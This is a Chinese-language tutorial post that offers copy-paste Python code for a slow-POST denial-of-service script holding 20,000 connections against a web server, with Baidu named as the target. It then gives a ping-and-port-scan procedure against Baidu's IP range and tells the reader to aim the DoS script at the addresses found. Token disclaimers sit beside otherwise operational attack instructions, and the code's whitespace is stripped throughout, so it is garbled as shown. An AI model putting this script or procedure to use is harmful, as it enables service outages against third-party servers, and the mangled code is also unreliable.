会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可
代码:
importsocket
importtime
importthreading
#PressureTest,ddostool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST%sHTTP/1.1\r\n"
"Host:%s\r\n"
"Content-Length:10000000\r\n"
"Cookie:dklkt_dos_test\r\n"
"\r\n"%(PAGE,HOST))
socks=[]
defconn_thread():
globalsocks
foriinrange(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print("SendbufOK!,conn=%d\n"%i)
socks.append(s)
exceptExceptionasex:
print("Couldnotconnecttoserverorsenderror:%s"%ex)
time.sleep(10)
#enddef
defsend_thread():
globalsocks
whileTrue:
forsinsocks:
try:
s.send("f".encode())
#print"sendOK!"
exceptExceptionasex:
print("SendException:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#enddef
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。
所以,最好用Windows里的PING进行检测
操作:
在Windows搜索栏里输入:cmd
输入:
ping-n10-l1baidu.com
//这里拿百度做示范,别真打百度!
那么,就会发现,系统反映了:
正在Pingbaidu.com[39.156.69.79]具有1字节的数据:
来自39.156.69.79的回复:字节=1时间=27msTTL=52
来自39.156.69.79的回复:字节=1时间=26msTTL=52
来自39.156.69.79的回复:字节=1时间=27msTTL=52
来自39.156.69.79的回复:字节=1时间=27msTTL=52
来自39.156.69.79的回复:字节=1时间=27msTTL=52
来自39.156.69.79的回复:字节=1时间=27msTTL=52
来自39.156.69.79的回复:字节=1时间=29msTTL=52
来自39.156.69.79的回复:字节=1时间=26msTTL=52
来自39.156.69.79的回复:字节=1时间=27msTTL=52
来自39.156.69.79的回复:字节=1时间=27msTTL=52
39.156.69.79的Ping统计信息:
数据包:已发送=10,已接收=10,丢失=0(0%丢失),
往返行程的估计时间(以毫秒为单位):
最短=26ms,最长=29ms,平均=27ms
说明,百度的服务器有一个主服务器是39.156.69.79
那么,就来查找百度的所有服务器吧!
输入以下代码:
#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否
#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度
importsocket
importsys
importmultiprocessing
importtimeast
defports(ports_serve):
#获取常用端口对应的服务名称
forportinlist(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
exceptsocket.error:
pass
defports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
exceptsocket.error:
print('socketcreationerror')
sys.exit()
forportinports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
exceptsocket.error:
pass
returnports_open
if__name__=='__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池,允许最多8个进程同时运行
pool=multiprocessing.Pool(processes=8)
net='39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击
forhost_numberinmap(str,range(8,10)):
host=net+host_number
#创建一个新进程,同时记录其运行结果
results[host]=pool.apply_async(ports_scan,(host,ports_service))
print('starting'+host+'...')
#关闭进程池,close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
forhostinresults:
print('='*30)
print(host,'.'*10)
forportinresults[host].get():
print(port,':',ports_service[port])
你会发现,Python反映了:
starting39.156.69.8...
starting39.156.69.9...
//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!
接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!